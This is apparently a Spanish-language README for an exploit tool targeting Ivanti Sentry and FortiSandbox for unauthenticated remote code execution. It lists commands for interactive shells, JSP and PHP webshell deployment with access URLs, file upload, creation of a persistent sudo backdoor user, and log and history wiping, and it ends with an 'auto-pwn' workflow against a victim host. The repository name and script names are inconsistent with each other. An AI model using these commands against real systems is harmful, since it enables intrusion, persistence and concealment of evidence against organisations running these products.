
Herramienta de explotación multi-CVE para ejecución remota de código sin autenticación en Ivanti Sentry y FortiSandbox. Incluye shell interactiva, despliegue de webshell, creación de usuarios backdoor y limpieza de registros para pruebas de penetración.
git clone https://github.com/Layer-6/CVE-2026-5027-Langflow.git
cd CVE-2026-5027-Langflow
python3 exploit.py -u https://target.com
python3 exploit.py -u https://target.com --shell
(📁shells/my-shell.php)
python3 exploit.py -u https://target.com --shell my-shell.php
python3 exploit.py -u https://target.com | -t 58 | |-p payloads.txt | | --upload-paths Dirs.txt |
python3 exploit.py -u https://target.com --shell shells/myshell.php -t 58 -p payloads.txt --upload-paths dirs.txt
· CVE-2026-25089 (CVSS 9.1)
No se requieren credenciales.
python3 exploitt.py
# Verificar si es vulnerable
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -c "id"
# Shell interactivo
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -s
# Desplegar webshell JSP (Tomcat)
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -w
# Crear usuario backdoor + limpiar logs
python3 exploitt.py -u https://ivanti.example.com:8443 --type ivanti -p --clean
# Comando único
python3 exploitt.py -u https://forti.example.com --type forti -c "whoami"
# Shell interactivo con subida de archivos
python3 exploitt.py -u https://forti.example.com --type forti -s
# Dentro del shell: upload /path/local.txt /remote/path.txt
# Desplegar webshell PHP
python3 exploitt.py -u https://forti.example.com --type forti -w
# Auto‑pwn completo (verificar, shell, webshell, persistir, limpiar)
python3 exploitt.py -u https://forti.example.com --type forti -s -w -p --clean
python3 exploitt.py -u https://target.example.com -c "id"
python3 exploitt.py -u https://target:8443 --proxy http://127.0.0.1:8080 --debug -c "uname -a"
Argumentos de línea de comandos disponibles
Comandos del shell interactivo
| Comando | Ejemplo | Descripción |
|---|---|---|
| normal command | id | Ejecutar cualquier comando del sistema |
| upload | upload exploit.sh /tmp/backdoor.sh | Subir archivo local al host remoto |
| exit | exit | Salir del shell |
Detalles de despliegue de webshell
· Ivanti Sentry – despliega un shell .jsp dentro de Tomcat webapps (/usr/local/tomcat/webapps/ROOT/) · Acceso mediante https://target/shell_random.jsp?cmd=whoami · FortiSandbox – despliega un shell .php dentro de la raíz web (/var/www/html/) · Acceso mediante https://target/shell_random.php?cmd=whoami
Ejemplo de flujo de trabajo (prueba de penetración completa)
# 1. Detectar y explotar
python3 exploitt.py -u https://victim.com:8443 --type ivanti -s
# 2. Dentro del shell, verificar privilegios
id
# 3. Desplegar webshell para persistencia
python3 exploitt.py -u https://victim.com:8443 --type ivanti -w
# 4. Crear un usuario backdoor
python3 exploitt.py -u https://victim.com:8443 --type ivanti -p
# 5. Limpiar registros
python3 exploitt.py -u https://victim.com:8443 --type ivanti --clean
| Argumento | Descripción |
|---|
| -u, --url | URL del objetivo (ej. https://192.168.1.100:8443) |
| --type | Forzar servicio: ivanti o forti (opcional, detección automática) |
| -t, --timeout | Tiempo de espera de la solicitud en segundos (por defecto 30) |
| --proxy | Proxy HTTP/HTTPS (ej. http://127.0.0.1:8080) |
| -d, --debug | Habilitar salida de depuración |
| --ua | Cadena User-Agent personalizada |
| -c, --cmd | Ejecutar un solo comando y salir |
| -s, --shell | Iniciar shell interactivo |
| -w, --webshell | Desplegar un webshell (PHP para Forti, JSP para Ivanti) |
| -p, --persist | Crear usuario backdoor persistente con sudo |
| --clean | Limpiar registros e historial de comandos después de la explotación |